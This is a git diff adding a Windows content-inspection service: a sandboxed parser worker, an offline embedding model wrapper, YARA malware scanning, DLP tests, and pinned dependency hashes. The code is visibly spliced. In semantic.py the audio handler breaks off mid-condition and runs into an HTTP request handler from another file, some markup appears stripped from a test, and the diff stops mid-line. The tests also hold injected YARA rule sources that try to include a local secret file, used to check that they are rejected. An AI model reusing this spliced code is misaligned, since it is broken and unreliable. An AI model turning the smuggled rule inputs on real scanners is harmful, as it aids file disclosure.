--hash=sha256:48dd1d961391f314ab7fa8812c86ca2a727bee2bdca1478730eacaea007da18e --hash=sha256:c4127c064bc71f8b7f9b3f341d6627ed39977fd0b61a17c68d09179f5e0089ae --hash=sha256:715561ceda03b09ca1c6baf9922179392d8c2bc53a1b877965225f0dfb487a58 --hash=sha256:556f20346a7d96fefbb71b74640d84ca14041703d60f0d2ff47b29d9b3e0093d --hash=sha256:ff9e87b534edf35af65758fafb31ad3b797354cba9323899e263f450c69a2ff2 --hash=sha256:fdb599ec540cea5b635ac47bf24fca4cdfd1c39730ffc0b6cf0d2666b0dd9a33 --hash=sha256:b8cb04906b74db26f848f76744fa995cd6abeae9145d27cc405277de1f949660 --hash=sha256:d9b11d712ac72f1d869f2b6964dea5bd9f20b89901adcd796d6712496144ab22 --hash=sha256:c88b21a0e9599ebb741e08f71a95c8f07a434af909efb088828a9874d234d06d --hash=sha256:cbe184e1946cfe115a9dfeadd2effd88ab4a237ab1a4335d106defa80fbc2d82 --hash=sha256:8bc985ad731da2f2cedde9c3cfb3c3d946fe6fc63d2ca557673dc33dd1e389b9 --hash=sha256:c3caa4c6308e7eaf18f4661134a1575eb290a56df78d0ae1b02f919a4cc7bd9d --hash=sha256:2fd87e55d7a7d310553b527378545cdc6ef8702473ed9294926b892c3cfb2ba0 --hash=sha256:7416db8ff3a1003687d4118e741343b3cf9ac2a4a925a59d44d98a865ac4e9e7 --hash=sha256:778421a19085bef1fb38bc0699db1ee9b08fdd0e30a8768788d601a4371f2de0 --hash=sha256:287ec7602f7a114b862ae0123880e57160cebe059843a4c7028aaee9e74287f6 --hash=sha256:e414c78bc81aadd76a429111a350f4ef3d05fc13019805617b524951258468e5 --hash=sha256:1af6935acde1db0b6a1bcbea30cbad5ae900723dfd398367ae1488470dc53667 --hash=sha256:96e5101ad2d73df869255bae4c55537f372d32066e2328c376e09841f0f66800 --hash=sha256:446b2d5a323bddd1c2a27f41325fdb3a3e8e33c1f8f0f840bdb63e8c1515b29e +six==1.17.0 --hash=sha256:4721f391ed90541fddacab5acf947aa0d3dc7d27b2e1e8eda2be8970586c3274 +sympy==1.14.0 --hash=sha256:e091cc3e99d2141a0ba2847328f5479b05d94a6635cb96148ccb3f34671bd8f5 +tqdm==4.70.1 --hash=sha256:c293e525e6fef9c20e8728fd4612df02a0aa31bb5fe91ecd93e123b1b7bffa73 +urllib3==2.8.0 --hash=sha256:0cf3cae568d36aa9576b28dfb35f11328f1cb974ca7647d9475ebb86c75ac6e3 +yara-python==4.5.4 --hash=sha256:721d341bd2013fbada4df5aba0eb79a9e4e21c4b86441f7f111ab8c31671f125 --hash=sha256:c785fd16475f2a3191cd4fae0cd608b1ba6271f495ec86fa26a3c5ac53f5f2e1 --hash=sha256:5eefa3b157cd5f4454a317907bab334036f61385324b70cb61dbc656c44168d5 --hash=sha256:bbc0c5a2ee67e6043e4c2622093ebfc7d2c173dc643dd089742aedbdea48d6a4 --hash=sha256:1b091f1bd6c5d2a9b5c0c682ba67ba31b87bb71b27876430775998b71c8e3f97 --hash=sha256:91276c90bb5e148e10050015fec8a1d4009a95eee9eb832d154f80355d0b4080 --hash=sha256:7e20e1f69b6239fe4f4da97e9ff361d9be25d6f1d747589ea44b8a9ec412a12d --hash=sha256:a83773b561727fc360f7a6874f7fac1409bc9c391134dc3e070f1c2515c0db98 --hash=sha256:14f203bd9fb33ad591e046429560133127fa4a6201dac28c525fa7c6c7ca36a7 --hash=sha256:e632daf9f38f8d4b433f08f798b07a45756e6c396e9e0ec54aac10045f6d241d --hash=sha256:a3866830f7f2d071f94cbce7c41d91444ac29e2cbbe279914abf518d57a2d41f --hash=sha256:135c1097ea0445a323038acd509162675ce6d5e21f848aa856779632d48dec42 --hash=sha256:e3e2a5575d61adc2b4ff2007737590783a43d16386b061ac12e6e70a82e5d1de --hash=sha256:f79a27dbdafb79fc2dc03c7c3ba66751551e3e0b350ab69cc499870b78a6cb95 --hash=sha256:9d9acf6f8135bcee03f47b1096ad69f4a2788abe37dd070aab6e9dd816742ecc --hash=sha256:0e762e6c5b47ddf30b0128ba723da46fcc2aa7959a252748497492cb452d1c84 --hash=sha256:adcfac4b225e76ab6dcbeaf10101f0de2731fdbee51610dbc77b96e667e85a3a --hash=sha256:a82c87038f0da2d90051bfd6449cf9a4b977a15ee8372f3512ce0a413ef822fd --hash=sha256:1a1721b61ee4e625a143e8e5bf32fa6774797c06724c45067f3e8919a8e5f8f3 --hash=sha256:57d80c7591bbc6d9e73934e0fa4cbbb35e3e733b2706c5fd6756edf495f42678 --hash=sha256:3872b5f5575d6f5077f86e2b8bcdfe8688f859a50854334a4085399331167abc --hash=sha256:fd84af5b6da3429236b61f3ad8760fdc739d0e1d6a08b8f3d90cd375e71594df --hash=sha256:491c9de854e4a47dfbef7b3a38686c574459779915be19dcf4421b65847a57ce --hash=sha256:2a1bf52cb7b9178cc1ee2acd1697a0c8468af0c76aa1beffe22534bd4f62698b --hash=sha256:ade234700c492bce0efda96c1cdcd763425016e40df4a8d30c4c4e6897be5ace --hash=sha256:e1dedd149be61992781f085b592d169d1d813f9b5ffc7c8c2b74e429b443414c --hash=sha256:92b233aae320ee9e59728ee23f9faf4a423ae407d4768b47c8f0e472a34dbae2 --hash=sha256:1f238f10d26e4701559f73a69b22e1e192a6fa20abdd76f57a7054566780aa89 --hash=sha256:d29d0e137e0d77dd110186369276e88381f784bdc45b5932a2fb3463e2a1b1c7 --hash=sha256:e7d0039d734705b123494acad7a00b67df171dd5b1c16ff7b18ff07578efd4cd --hash=sha256:e5eae935b05a9f8dc71df55a79c38f52abd93f8840310fe4e0d75fbd78284f24 --hash=sha256:30fc7959394532c6e3f48faf59337f5da124f1630668258276b6cfa54e555a6e --hash=sha256:e6d8c2acaf33931338fdb78aba8a68462b0151d833b2eeda712db87713ac2abf --hash=sha256:a3c7bc8cd0db5fb87ab579c755de83723030522f3c0cd5b3374044055a8ce6c6 --hash=sha256:d12e57101683e9270738a1bccf676747f93e86b5bc529e7a7fb7adf94f20bd77 --hash=sha256:bf14a8af06b2b980a889bdc3f9e8ccd6e703d2b3fa1c98da5fd3a1c3b551eb47 --hash=sha256:fe8ad189843c729eae74be3b8447a4753fac2cebe705e5e2a7280badfcc7e3b4 --hash=sha256:94e290d5035be23059d0475bff3eac8228acd51145bf0cabe355b1ddabab742b --hash=sha256:4537f8499d166d22a54739f440fb306f65b0438be2c6c4ecb2352ecb5adb5f1c --hash=sha256:ab5133a16e466db6fe9c1a08d1b171013507896175010fb85fc1b92da32e558c --hash=sha256:93f5f5aba88e2ed2aaebfbb697433a0c8020c6a6c6a711e900a29e9b512d5c3a --hash=sha256:473c52b53c39d5daedc1912bd8a82a1c88702a3e393688879d77f9ff5f396543 --hash=sha256:9d9a58b7dc87411a2443d2e0382a111bd892aef9f6db2a1ebb4a9215eef0db71 --hash=sha256:0b9de86fbe8a646c0644df9e1396d6941dc6ed0f89be2807e6c52ab39161fd9f --hash=sha256:973f0bc24470ac86b6009baf2800ad3eadfa4ab653b6546ba5c65e9239850f47 --hash=sha256:cb0f0e7183165426b09e2b1235e70909e540ac18e2c6be96070dfe17d7db4d78 --hash=sha256:7707b144c8fcdb30c069ea57b94799cd7601f694ba01b696bbd1832721f37fd0 --hash=sha256:5f1288448991d63c1f6351c9f6d112916b0177ceefaa27d1419427a6ff09f829 --hash=sha256:7205c36a6798251925e4c1763eba0737fec7a95360df8aaa4e74e2f2f6b5cdcf --hash=sha256:9c77711a4e469ea97bdd16e85b5ab0720d6a481862a540ea7216897a10e93d19 --hash=sha256:9e6f0ca64cf9b0125be8fe8b821ba7e0f80427bcee136f83914dff0d81b4f27a --hash=sha256:8caad9de64dc4fc9614f331a04ea220d57aea3fbf997f3e23a298ee67cf4a69c --hash=sha256:9d5fcf99187cb6ec0a27c755aec22774a1ea578fdc2a5734f484c601de4ad6c0 --hash=sha256:bdbb62003cced7739d5c98c5af7a08c819baedf12e09276b2bbf0f3cb47828af --hash=sha256:5f901ec61db76a326f77882c8000139b29f218a7c6b8dd997195bab265602345 --hash=sha256:99f8d1145c11f61340fcd19fd6f3f3ef6306910829f4218daece45e831ceb54e --hash=sha256:da826f12c6fa459c6b2f9e7dff3a57416ac3a6536264f7a10d1ff839d4bc943f --hash=sha256:ebacf0b3325b3fb6f15bc3526f39f39c3576bafa4857493cc90afd2651ec8d36 --hash=sha256:e6eba7d4387f8123dd69852ba6776799150c4019fcb3e1212a3b053d42e151ab --hash=sha256:9addd1d6fe9d3b1efe40c7a37fa5d88fe6cd7e22c7e454617beb382c9c74b11b diff --git a/apps/inspector/requirements.txt b/apps/inspector/requirements.txt new file mode 100644 index 0000000..9eedbdb --- /dev/null +++ b/apps/inspector/requirements.txt @@ -0,0 +1,6 @@ +pypdf>=6,<8 +Pillow>=12,<14 +defusedxml>=0.7,<1 +yara-python==4.5.4 +rapidocr==3.8.1 +onnxruntime==1.24.4 diff --git a/apps/inspector/sandbox_worker.py b/apps/inspector/sandbox_worker.py new file mode 100644 index 0000000..715fea7 --- /dev/null +++ b/apps/inspector/sandbox_worker.py @@ -0,0 +1,59 @@ +"""Single-request parser entrypoint, launched only inside the AppContainer.""" +import base64 +import json +import os +import sys +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) + + +def attest_appcontainer(): + import ctypes + from ctypes import wintypes as W + if sys.platform != 'win32': raise RuntimeError('Windows AppContainer required') + kernel=ctypes.WinDLL('kernel32',use_last_error=True) + advapi=ctypes.WinDLL('advapi32',use_last_error=True) + kernel.GetCurrentProcess.restype=W.HANDLE + kernel.CloseHandle.argtypes=[W.HANDLE] + advapi.OpenProcessToken.argtypes=[W.HANDLE,W.DWORD,ctypes.POINTER(W.HANDLE)] + advapi.GetTokenInformation.argtypes=[W.HANDLE,ctypes.c_int,ctypes.c_void_p,W.DWORD,ctypes.POINTER(W.DWORD)] + token=W.HANDLE();value=W.DWORD();length=W.DWORD() + if not advapi.OpenProcessToken(kernel.GetCurrentProcess(),8,ctypes.byref(token)): + raise RuntimeError('Process token unavailable') + try: + if not advapi.GetTokenInformation(token,29,ctypes.byref(value),4,ctypes.byref(length)) or value.value!=1: + raise RuntimeError('Uncontained parser process rejected') + # TokenCapabilities is TOKEN_GROUPS; no capability SID may be enabled. + advapi.GetTokenInformation(token,30,None,0,ctypes.byref(length)) + if not 4<=length.value<=65536: raise RuntimeError('Capability token unavailable') + capabilities=ctypes.create_string_buffer(length.value) + if not advapi.GetTokenInformation(token,30,capabilities,length.value,ctypes.byref(length)) or ctypes.cast(capabilities,ctypes.POINTER(W.DWORD)).contents.value!=0: + raise RuntimeError('Unexpected parser process capability') + finally:kernel.CloseHandle(token) + + +def main(): + attest_appcontainer() + # Preserve only the broker response pipe; parser/native diagnostics cannot + # contaminate the protocol or leak document content through stderr. + response = os.fdopen(os.dup(sys.stdout.fileno()), 'w', encoding='utf-8', buffering=1) + sink = os.open(os.devnull, os.O_WRONLY) + os.dup2(sink,sys.stdout.fileno());os.dup2(sink,sys.stderr.fileno());os.close(sink) + # No socket listener, deployment credential or filesystem document input. + from engine import MAX_BYTES, inspect_content, scan_download, reference_document, embedding_features + request = json.loads(sys.stdin.buffer.read(MAX_BYTES*2+1)) + data = base64.b64decode(request['data'], validate=True) + if len(data)>MAX_BYTES: raise ValueError('Document exceeds inspection budget') + route = request['route'] + if route == '/inspect': result = inspect_content(data, request['policy']) + elif route == '/scan-download': result = scan_download(data, request['policy']) + elif route == '/reference-document': result = reference_document(data) + elif route == '/embed': result = embedding_features(data) + else: raise ValueError('Unknown inspection operation') + response.write(json.dumps(result, allow_nan=False)) + response.flush() + response.close() + + +if __name__ == '__main__': + try: main() + except Exception: sys.exit(2) diff --git a/apps/inspector/semantic.py b/apps/inspector/semantic.py new file mode 100644 index 0000000..7f16e29 --- /dev/null +++ b/apps/inspector/semantic.py @@ -0,0 +1,177 @@ +"""Pinned offline EmbeddingGemma 2 GGUF worker. No downloads or HTTP inference.""" +import atexit +import base64 +import hashlib +import io +import json +import math +import os +from pathlib import Path +import queue +import re +import subprocess +import threading +import time +import wave + +MODEL_ID="google/embeddinggemma-2" +REVISION="bfcd298762cc34d0357ece5ebdd31791a3a374d8" +DIMENSIONS=768 +PROFILE="document-v1" +RUNTIME_REVISION="b11461" +RUNTIME_BUILD="b11461-no-logits-v1" +MAX_CHUNKS=64 +MAX_LINE=4*1024*1024 +MAX_REQUEST=16*1024*1024 +MODEL_FILES={ + "embeddinggemma-2-Q8_0.gguf":(309855456,"2188ac1deca4b77dffefd603c2776a9d76d9d74ec01841392982ebb840b09135"), + "mmproj-embeddinggemma-2-Q8_0.gguf":(554821024,"c4a8a52691ecef40618438928bdf9e68379b854e24166f292592353db0aab64f")} + + +def verify_file(directory,name,size,digest): + if not isinstance(name,str) or not name or Path(name).is_absolute() or ".." in Path(name).parts: raise ValueError("Invalid local model path") + file=(directory/name).resolve() + if not file.is_relative_to(directory) or not file.is_file() or file.stat().st_size!=size: raise ValueError("Local semantic artifact unavailable") + if not re.fullmatch(r"[0-9a-f]{64}",digest): raise ValueError("Invalid artifact digest") + calculated=hashlib.sha256() + with file.open("rb") as source: + while part:=source.read(1024*1024): calculated.update(part) + if calculated.hexdigest()!=digest: raise ValueError("Local semantic artifact verification failed") + return file + + +def validate_vectors(vectors,expected=None): + if not isinstance(vectors,list) or not 1<=len(vectors)<=MAX_CHUNKS or expected is not None and len(vectors)!=expected: raise ValueError("Invalid semantic vector batch") + for vector in vectors: + if not isinstance(vector,list) or len(vector)!=DIMENSIONS or any(not isinstance(value,(int,float)) or isinstance(value,bool) or not math.isfinite(value) for value in vector): raise ValueError("Invalid semantic output") + norm=math.sqrt(sum(value*value for value in vector)) + if not 0.99<=norm<=1.01: raise ValueError("Semantic output is not normalized") + return vectors + + +def validate_readiness(ready): + if not isinstance(ready,dict) or ready.get("ready") is not True or ready.get("model")!=MODEL_ID or ready.get("dimensions")!=DIMENSIONS or ready.get("runtime")!=RUNTIME_BUILD or ready.get("device")!="cpu" or ready.get("vulkan_module_loaded") is not False: + raise ValueError("Local semantic worker identity mismatch") + + +class NativeSemanticModel: + def __init__(self,directory,worker_path): + self.directory=Path(directory).resolve(); self.worker_path=Path(worker_path).resolve() + manifest_path=self.directory/"model-manifest.json" + if not manifest_path.is_file() or manifest_path.stat().st_size>65536: raise ValueError("Local model manifest unavailable") + manifest=json.loads(manifest_path.read_text(encoding="utf-8")) + if manifest.get("model_id")!=MODEL_ID or manifest.get("revision")!=REVISION or manifest.get("dimensions")!=DIMENSIONS or manifest.get("quantization")!="Q8_0" or manifest.get("runtime_tag")!=RUNTIME_REVISION: raise ValueError("Pinned Google model identity mismatch") + self.model=verify_file(self.directory,*next((name,*value) for name,value in MODEL_FILES.items() if not name.startswith("mmproj"))) + self.projector=verify_file(self.directory,*next((name,*value) for name,value in MODEL_FILES.items() if name.startswith("mmproj"))) + runtime_path=self.worker_path.parent/"runtime-manifest.json" + if not runtime_path.is_file() or runtime_path.stat().st_size>65536: raise ValueError("Verified native runtime manifest unavailable") + runtime=json.loads(runtime_path.read_text(encoding="utf-8")); files=runtime.get("files") + if not isinstance(files,list) or not 1<=len(files)<=64 or not any(item.get("path")==self.worker_path.name for item in files): raise ValueError("Invalid native runtime manifest") + for item in files: verify_file(self.worker_path.parent,item["path"],item["bytes"],item["sha256"]) + # All DLLs load from the private, verified runtime directory. + verified={item["path"].casefold() for item in files} + if any(file.name.casefold() not in verified for file in self.worker_path.parent.glob("*.dll")): raise ValueError("Unverified runtime module") + self.lock=threading.Lock();self.process=None;self.responses=None + atexit.register(self.close) + + def info(self): + return {"model":MODEL_ID,"revision":REVISION,"dimensions":DIMENSIONS,"profile":PROFILE,"artifactFormat":"gguf","quantization":"Q8_0","runtimeRevision":RUNTIME_REVISION,"local":True,"backend":"native-gguf","device":"cpu","modalities":["text","image","audio"]} + + def close(self): + process=self.process;self.process=None + if process is not None: + try: process.kill();process.wait(timeout=3) + except Exception: pass + for stream in (process.stdin,process.stdout): + try: stream.close() + except Exception: pass + + def _read(self,process,responses): + try: + while True: + line=process.stdout.readline(MAX_LINE+1) + if not line or len(line)>MAX_LINE or not line.endswith(b"\n"): raise ValueError() + response=json.loads(line) + responses.put(response,timeout=1) + except Exception: + try: responses.put({"protocolFailure":True},timeout=1) + except Exception: pass + + def _receive(self,timeout): + try: + response=self.responses.get(timeout=timeout) + if not isinstance(response,dict) or response.get("protocolFailure"): raise ValueError() + return response + except Exception: + self.close();raise ValueError("Local semantic worker failed or timed out") from None + + def _start(self): + if self.process is not None and self.process.poll() is None: return + self.close();self.responses=queue.Queue(maxsize=2) + environment={key:value for key,value in os.environ.items() if key.upper() in {"SYSTEMROOT","WINDIR","TEMP","TMP"}} + environment.update({"SEARCHI_FORCE_CPU":"1","GGML_CPU_ONLY":"1","GGML_DISABLE_VULKAN":"1"}) + self.process=subprocess.Popen([str(self.worker_path),"--model",str(self.model),"--threads","2","--device","cpu"], + cwd=str(self.worker_path.parent),stdin=subprocess.PIPE,stdout=subprocess.PIPE,stderr=subprocess.DEVNULL, + env=environment,creationflags=getattr(subprocess,"CREATE_NO_WINDOW",0)) + threading.Thread(target=self._read,args=(self.process,self.responses),daemon=True).start() + ready=self._receive(20) + try: validate_readiness(ready) + except Exception: self.close();raise + + def _request(self,request,timeout=30): + payload=json.dumps(request,ensure_ascii=False,allow_nan=False).encode("utf-8")+b"\n" + if len(payload)>=MAX_REQUEST: raise ValueError("Semantic request budget exceeded") + with self.lock: + self._start() + process=self.process + # A blocked pipe write is also bounded and tears down the process. + timer=threading.Timer(timeout,lambda:process.kill() if process.poll() is None else None);timer.daemon=True;timer.start() + try: + process.stdin.write(payload);process.stdin.flush();response=self._receive(timeout) + if response.get("ok") is not True or response.get("device")!="cpu": raise ValueError("Local semantic inference failed") + return response + except Exception: + self.close();raise ValueError("Local semantic inference failed") from None + finally: timer.cancel();payload=None + + def text_vectors(self,text): + if not isinstance(text,str) or not text.strip() or len(text.encode("utf-8"))>1024*1024: raise ValueError("Semantic text budget exceeded") + encoded=text.encode("utf-8");windows=self._request({"op":"windows","text":text,"title":"none"}).get("windows") + if not isinstance(windows,list) or not 1<=len(windows)<=MAX_CHUNKS: raise ValueError("Semantic window budget exceeded") + previous_end=0;parts=[] + for item in windows: + start=item.get("start_byte");end=item.get("end_byte");part=item.get("text") + if not isinstance(start,int) or not isinstance(end,int) or not isinstance(part,str) or start<0 or start>previous_end or end<=previous_end or end>len(encoded) or part.encode("utf-8")!=encoded[start:end]: raise ValueError("Semantic source coverage invalid") + previous_end=end;parts.append(part) + if previous_end!=len(encoded): raise ValueError("Semantic source tail missing") + vectors=[];deadline=time.monotonic()+60 + for index in range(0,len(parts),8): + remaining=deadline-time.monotonic() + if remaining<=0: raise ValueError("Semantic inference budget exceeded") + batch=parts[index:index+8];response=self._request({"op":"documents","texts":batch,"title":"none"},min(30,remaining)) + vectors.extend(validate_vectors(response.get("vectors"),len(batch))) + return vectors + + def image_vectors(self,data): + from PIL import Image,ImageSequence,ImageOps + image=Image.open(io.BytesIO(data));frames=getattr(image,"n_frames",1) + if frames>32 or image.width*image.height*frames>50_000_000: raise ValueError("Semantic image budget exceeded") + vectors=[] + for frame in ImageSequence.Iterator(image): + frame=ImageOps.exif_transpose(frame).convert("RGBA") + background=Image.new("RGBA",frame.size,"white");background.alpha_composite(frame);frame=background.convert("RGB") + scale=min(1,672/max(frame.size));width=max(48,round(frame.width*scale/48)*48);height=max(48,round(frame.height*scale/48)*48) + frame=frame.resize((width,height),Image.Resampling.LANCZOS) + request={"op":"image","projector":str(self.projector),"width":width,"height":height,"data":base64.b64encode(frame.tobytes()).decode("ascii")} + vectors.extend(validate_vectors(self._request(request).get("vectors"),1)) + return vectors + + def audio_vectors(self,data): + import numpy as np + with wave.open(io.BytesIO(data),"rb") as source: + if source.getnchannels()!=1 or source.getframerate()!=16000 or source.getsampwidth()!=2 or not 0MAX_BYTES*2: return self.reply(413,{"error":"Inspection request too large"}) + self.connection.settimeout(30) + request=json.loads(self.rfile.read(length)) + data=base64.b64decode(request["data"],validate=True) + if len(data)>MAX_BYTES: return self.reply(413,{"error":"Content too large"}) + with LOCK: + if self.path not in ['/inspect','/scan-download','/reference-document','/embed']: + return self.reply(404,{"error":"Not found"}) + result=dispatch(self.path,request) + return self.reply(200,result) + except Exception: return self.reply(422,{"error":"Content inspection failed"}) + finally: + if isinstance(request,dict): request.clear() + data=None + def reply(self,status,data): + body=json.dumps(data,allow_nan=False).encode();self.send_response(status);self.send_header("Content-Type","application/json");self.send_header("Content-Length",str(len(body)));self.send_header("Cache-Control","no-store");self.end_headers();self.wfile.write(body) + +if __name__=="__main__": + threading.Thread(target=watch_parent,daemon=True).start() + server=HTTPServer(("127.0.0.1",int(os.environ.get("INSPECTOR_PORT","4311"))),Handler) + server.timeout=30 + print(json.dumps({"port":server.server_address[1],"containment":CONTAINMENT}),flush=True) + server.serve_forever() diff --git a/apps/inspector/test_engine.py b/apps/inspector/test_engine.py new file mode 100644 index 0000000..4cac537 --- /dev/null +++ b/apps/inspector/test_engine.py @@ -0,0 +1,41 @@ +import io +import os +import unittest +import zipfile +from engine import cosine, inspect_content, content_kind + +def policy(): return {"dlp":{"maxBytes":1048576,"rules":[{"id":"secret","kind":"literal","value":"Secret Roadmap"}],"semantic":{"enabled":False}}} + +class InspectionTests(unittest.TestCase): + def test_text_and_binary(self): + self.assertEqual(inspect_content(b"Public information",policy())["decision"],"allow") + self.assertEqual(inspect_content(b"Secret Roadmap",policy())["ruleId"],"secret") + self.assertEqual(inspect_content(b"\xff\x00",policy())["decision"],"block") + def test_office_extraction(self): + output=io.BytesIO() + with zipfile.ZipFile(output,"w") as archive: + archive.writestr("word/document.xml",'Secret Roadmap') + result=inspect_content(output.getvalue(),policy()) + self.assertEqual(result["contentType"],"office");self.assertEqual(result["ruleId"],"secret") + def test_pdf_extraction(self): + from pypdf import PdfWriter + from pypdf.generic import DecodedStreamObject,NameObject,DictionaryObject + writer=PdfWriter();page=writer.add_blank_page(300,300) + font=DictionaryObject({NameObject('/Type'):NameObject('/Font'),NameObject('/Subtype'):NameObject('/Type1'),NameObject('/BaseFont'):NameObject('/Helvetica')}) + page[NameObject('/Resources')]=DictionaryObject({NameObject('/Font'):DictionaryObject({NameObject('/F1'):writer._add_object(font)})}) + content=DecodedStreamObject();content.set_data(b'BT /F1 12 Tf 10 100 Td (Secret Roadmap) Tj ET');page[NameObject('/Contents')]=writer._add_object(content) + output=io.BytesIO();writer.write(output) + result=inspect_content(output.getvalue(),policy());self.assertEqual(result['contentType'],'pdf');self.assertEqual(result['ruleId'],'secret') + def test_semantic_threshold_and_missing_model(self): + p=policy();p['dlp']['semantic']={'enabled':True,'model':'google/embeddinggemma-2','revision':'test-revision','categories':[{'id':'semantic-secret','threshold':.8,'prototype':[1.,0.]}]} + os.environ['EMBEDDING_MODEL_REVISION']='test-revision' + result=inspect_content(b'Confidential paraphrase',p,encoder=lambda *_:[1.,0.]);self.assertEqual(result['ruleId'],'semantic-secret') + result=inspect_content(b'Confidential paraphrase',p,encoder=lambda *_: (_ for _ in ()).throw(ValueError()));self.assertEqual(result['decision'],'block') + def test_cosine_validates(self): + self.assertAlmostEqual(cosine([1,0],[1,0]),1) + with self.assertRaises(ValueError):cosine([0,0],[0,0]) + def test_video_has_no_false_safe_coverage(self): + video=b'\x00\x00\x00\x18ftypisom'+b'\x00'*20 + self.assertEqual(content_kind(video),'video');result=inspect_content(video,policy());self.assertEqual(result['decision'],'block');self.assertFalse(result['coverage']['complete']) + +if __name__=='__main__':unittest.main() diff --git a/apps/inspector/test_security.py b/apps/inspector/test_security.py new file mode 100644 index 0000000..3422123 --- /dev/null +++ b/apps/inspector/test_security.py @@ -0,0 +1,68 @@ +import unittest +from unittest.mock import patch +import io +from engine import scan_download, reference_document, inspect_content + +def policy(source='rule malicious { strings: $a = "MALWARE_TEST_PAYLOAD" condition: $a }'): + return {'security':{'yara':{'enabled':True,'rules':[{'id':'central-malware','source':source}], 'maxScanBytes':1048576}}, + 'dlp':{'maxBytes':1048576,'rules':[],'semantic':{'enabled':False}}} + +class SecurityTests(unittest.TestCase): + def test_real_yara_match(self): + import yara + result=scan_download(b'MZ\x00MALWARE_TEST_PAYLOAD',policy()) + self.assertEqual(result['decision'],'block') + self.assertEqual(result['ruleId'],'central-malware') + self.assertTrue(result['coverage']['complete']) + def test_binary_malware_coverage_separate_from_dlp(self): + data=b'MZ\x00\xffbenign' + self.assertEqual(scan_download(data,policy())['decision'],'allow') + self.assertEqual(inspect_content(data,policy())['decision'],'block') + def test_invalid_or_empty_rules_fail_closed(self): + self.assertEqual(scan_download(b'safe',policy('invalid'))['decision'],'block') + p=policy();p['security']['yara']['rules']=[] + self.assertEqual(scan_download(b'safe',p)['decision'],'block') + self.assertEqual(scan_download(b'safe',{})['decision'],'block') + def test_include_and_console_import_rejected(self): + self.assertEqual(scan_download(b'safe',policy('include "C:/secret"'))['decision'],'block') + self.assertEqual(scan_download(b'safe',policy('import "console" rule leak { condition: console.log("secret") }'))['decision'],'block') + def test_size_failure(self): + p=policy();p['security']['yara']['maxScanBytes']=2 + self.assertEqual(scan_download(b'large',p)['ruleId'],'yara-size-limit') + def test_reference_registration_contains_no_plaintext(self): + text=b'Internal confidential roadmap for new product launch during next quarter' + result=reference_document(text) + self.assertTrue(result['registrationReady']);self.assertTrue(result['fragmentHashes']) + self.assertNotIn('confidential',str(result)) + self.assertFalse(reference_document(b'\xff\x00')['registrationReady']) + def test_training_truncation_never_claims_complete(self): + result=reference_document(' '.join('distinctword'+str(index) for index in range(1200)).encode()) + self.assertEqual(len(result['fragmentHashes']),1000) + self.assertGreater(result['coverage']['fragmentHashesTotal'],1000) + self.assertTrue(result['coverage']['fragmentHashesTruncated']) + self.assertTrue(result['coverage']['extractionComplete']) + self.assertFalse(result['coverage']['complete']) + self.assertFalse(result['registrationReady']) + def test_text_training_does_not_create_temporary_content_files(self): + with patch('engine.tempfile.TemporaryDirectory',side_effect=AssertionError('Raw content persistence forbidden')): + result=reference_document(b'Confidential strategic roadmap contains enough words for fingerprint training') + self.assertTrue(result['registrationReady']) + def test_trained_fragments_block_reformatted_excerpt(self): + text=b'Internal confidential roadmap for new product launch during next quarter' + reference=reference_document(text) + p=policy();p['dlp']['rules']=[{'id':'trained','kind':'fragment-sha256','value':value} for value in reference['fragmentHashes']] + result=inspect_content(b'Introduction. INTERNAL confidential roadmap for new product launch during next quarter. Ending.',p) + self.assertEqual(result['ruleId'],'trained') + def test_real_bundled_ocr_offline_detects_image_secret(self): + from PIL import Image, ImageDraw, ImageFont + image=Image.new('RGB',(1000,180),'white') + ImageDraw.Draw(image).text((30,45),'Secret Roadmap',font=ImageFont.truetype('C:/Windows/Fonts/arial.ttf',60),fill='black') + output=io.BytesIO();image.save(output,format='PNG') + p=policy();p['dlp']['rules']=[{'id':'image-secret','kind':'literal','value':'Secret Roadmap'}] + # Inference and lazy initialization must not enter a model-download path. + with patch('rapidocr.utils.download_file.DownloadFile.run',side_effect=AssertionError('Network model download forbidden')): + result=inspect_content(output.getvalue(),p) + self.assertEqual(result['ruleId'],'image-secret') + self.assertTrue(result['coverage']['complete']) + +if __name__=='__main__':unittest.main() diff --git a/apps/inspector/test_semantic.py b/apps/inspector/test_semantic.py new file mode 100644 index 0000000..5ee5655 --- /dev/null +++ b/apps/inspector/test_semantic.py @@ -0,0 +1,87 @@ +import hashlib +import io +import json +import queue +import tempfile +from pathlib import Path +import unittest +from unittest.mock import patch +from semantic import NativeSemanticModel,validate_vectors,validate_readiness,verify_file,DIMENSIONS,PROFILE,RUNTIME_BUILD +from engine import aggregate_vectors,embedding_features,inspect_content + +def vector(index=0): + result=[0.0]*DIMENSIONS;result[index]=1.0;return result + +class SemanticProtocolTests(unittest.TestCase): + def model(self,windows): + model=NativeSemanticModel.__new__(NativeSemanticModel) + def request(payload,timeout=30): + if payload['op']=='windows':return {'windows':windows} + return {'vectors':[vector() for _ in payload['texts']]} + model._request=request + return model + def test_unicode_windows_cover_exact_source_and_tail(self): + text='Confidential café 中央 secret';encoded=text.encode() + windows=[{'text':text,'start_byte':0,'end_byte':len(encoded)}] + self.assertEqual(self.model(windows).text_vectors(text),[vector()]) + windows[0]['end_byte']-=1 + with self.assertRaises(ValueError):self.model(windows).text_vectors(text) + def test_missing_tail_gaps_and_substitution_are_refused(self): + for windows in [[{'text':'hello','start_byte':0,'end_byte':5}], + [{'text':'hello','start_byte':0,'end_byte':5},{'text':'world','start_byte':6,'end_byte':11}], + [{'text':'altered text','start_byte':0,'end_byte':11}]]: + with self.assertRaises(ValueError):self.model(windows).text_vectors('hello world') + def test_full_window_batch_is_not_silently_truncated(self): + text='a'*65 + windows=[{'text':'a','start_byte':index,'end_byte':index+1} for index in range(65)] + with self.assertRaises(ValueError):self.model(windows).text_vectors(text) + def test_output_dimensions_finite_norm_and_aggregation(self): + self.assertEqual(validate_vectors([vector()]),[vector()]) + for invalid in [[0.0]*768,[1.0]*767,[float('nan')]*768,[float('inf')]*768]: + with self.assertRaises(ValueError):validate_vectors([invalid]) + aggregate=aggregate_vectors([vector(0),vector(1)]) + self.assertAlmostEqual(sum(value*value for value in aggregate),1) + def test_only_exact_hardened_cpu_worker_build_is_accepted(self): + ready={'ready':True,'model':'google/embeddinggemma-2','dimensions':768,'runtime':RUNTIME_BUILD,'device':'cpu','vulkan_module_loaded':False} + validate_readiness(ready) + for changed in [{'runtime':'b11461'},{'runtime':'b11461-no-logits-v2'},{'device':'gpu'},{'vulkan_module_loaded':True},{'dimensions':128}]: + with self.assertRaises(ValueError):validate_readiness({**ready,**changed}) + def 